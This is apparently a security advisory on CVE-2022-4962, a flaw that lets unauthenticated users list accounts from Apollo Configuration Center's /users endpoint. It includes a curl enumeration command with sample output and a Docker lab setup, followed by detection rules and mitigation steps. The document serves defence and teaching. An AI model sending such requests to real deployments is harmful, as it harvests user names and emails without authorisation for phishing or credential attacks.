CVE-2022-4962

Executive Summary

CVE-2022-4962 is a problematic vulnerability in the Apollo Configuration Center, specifically affecting versions 2.0.0 and 2.0.1. The flaw resides in the /users endpoint, where improper authorization allows remote attackers to access user data such as user IDs, names, and email addresses. While the vendor downplays the sensitivity of this data, the exposure of user enumeration and identity information can facilitate further targeted attacks, such as phishing or credential stuffing. The vulnerability has a CVSS score of 4.3 (Medium) and a public PoC exists, though the EPSS score is 0.0%, indicating low active exploitation in the wild. No official patch has been released, and the maintainer disputes the severity.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Apollo Configuration Center, a Java-based open-source configuration management system. Organizations using Apollo as a dependency in their infrastructure should assess their exposure, as the vulnerable component is typically deployed as a standalone service.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated remote attackers to enumerate user accounts and obtain basic identity information. While not directly leading to system compromise, it lowers the barrier for social engineering and targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the /users endpoint of the Apollo Configuration Center's REST API. In versions 2.0.0 and 2.0.1, this endpoint does not enforce proper authorization checks, allowing any unauthenticated user to retrieve a list of registered users. The response includes fields such as userId, username, email, and displayName.

The root cause is a missing or insufficient access control mechanism on the controller handling the /users route. The application likely relies on a default configuration that does not require authentication for this specific endpoint, or the authorization logic is incorrectly implemented, failing to validate the user's session or role before returning sensitive data.

The attack is trivial to execute: an attacker simply sends a GET request to http://target:port/users and receives a JSON array of user objects. No special tools or authentication are required.

Vulnerable vs. Patched Code

Vulnerable Code (Apollo 2.0.0/2.0.1): The vulnerable controller likely lacks an @PreAuthorize annotation or similar security check. Example (pseudo-code):

@RestController
public class UserController {
    @GetMapping("/users")
    public List<User> getAllUsers() {
        return userService.findAll();
    }
}

Patched Code (Hypothetical): A patched version would require authentication and proper authorization, e.g.:

@RestController
public class UserController {
    @GetMapping("/users")
    @PreAuthorize("hasRole('ADMIN')")
    public List<User> getAllUsers() {
        return userService.findAll();
    }
}

Since no official patch exists, users must implement their own access controls, such as placing the endpoint behind a reverse proxy with authentication.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a target running Apollo Configuration Center 2.0.0 or 2.0.1.
2. Send a GET request to the /users endpoint:

   curl -X GET http://target:port/users
   

3. Parse the JSON response to extract user IDs, usernames, and email addresses.

Example Output:

[
  {
    "userId": 1,
    "username": "admin",
    "email": "admin@example.com",
    "displayName": "Admin User"
  },
  {
    "userId": 2,
    "username": "developer",
    "email": "dev@example.com",
    "displayName": "Developer"
  }
]

Lab Setup:

• Deploy Apollo 2.0.0 or 2.0.1 using Docker:

  docker run -d -p 8080:8080 --name apollo apolloconfig/apollo-quick-start:2.0.0
  

• Access the /users endpoint at http://localhost:8080/users.

Blue Team

Detection & Prevention:

• Monitor access logs for requests to /users from unauthenticated sources.
• Implement a Web Application Firewall (WAF) rule to block requests to /users without a valid session token.
• Place the Apollo service behind a reverse proxy (e.g., Nginx) that requires authentication:

  location /users {
      auth_basic "Restricted";
      auth_basic_user_file /etc/nginx/.htpasswd;
      proxy_pass http://apollo_backend;
  }
  

• Restrict network access to the Apollo service to trusted IP ranges only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /users without authentication headers.
  • Responses containing JSON arrays with fields userId, username, email, displayName.
• File IOCs:
  • Access logs showing repeated requests to /users from external IPs.
• Behavioral IOCs:
  • Unusual enumeration of user accounts from a single source IP.

Detection Engineering

YARA Rule

rule CVE_2022_4962_Apollo_User_Enumeration {
    meta:
        description = "Detects exploitation attempts for CVE-2022-4962 in Apollo Configuration Center"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-4962"
    strings:
        $user_endpoint = "/users"
        $json_pattern = /"userId":\s*\d+,\s*"username":\s*"[^"]+",\s*"email":\s*"[^"]+"/
    condition:
        $user_endpoint and $json_pattern
}

Sigma Rule

title: Apollo Configuration Center User Enumeration via /users Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to the /users endpoint of Apollo Configuration Center, indicating potential exploitation of CVE-2022-4962.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/users'
    condition: selection
falsepositives:
    - Legitimate administrative access from trusted IPs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-4962 Apollo Configuration Center User Enumeration"; flow:to_server; content:"GET"; http_method; content:"/users"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the /users endpoint using a reverse proxy with authentication (e.g., Nginx + HTTP Basic Auth).
   • Block external access to the Apollo service entirely if not required.
   • Monitor logs for unauthorized access attempts.

2. Long-term Fix:

   • Upgrade to a patched version of Apollo once available (currently none).
   • Implement proper authorization checks in the application code (e.g., Spring Security @PreAuthorize).
   • Consider using API keys or OAuth2 for all endpoints.

3. Compensating Controls:

   • Deploy a WAF with rules to block requests to /users without valid session tokens.
   • Enable network segmentation to isolate the Apollo service from untrusted networks.

Valters IT
DevSecOps & Cyber Threat Intelligence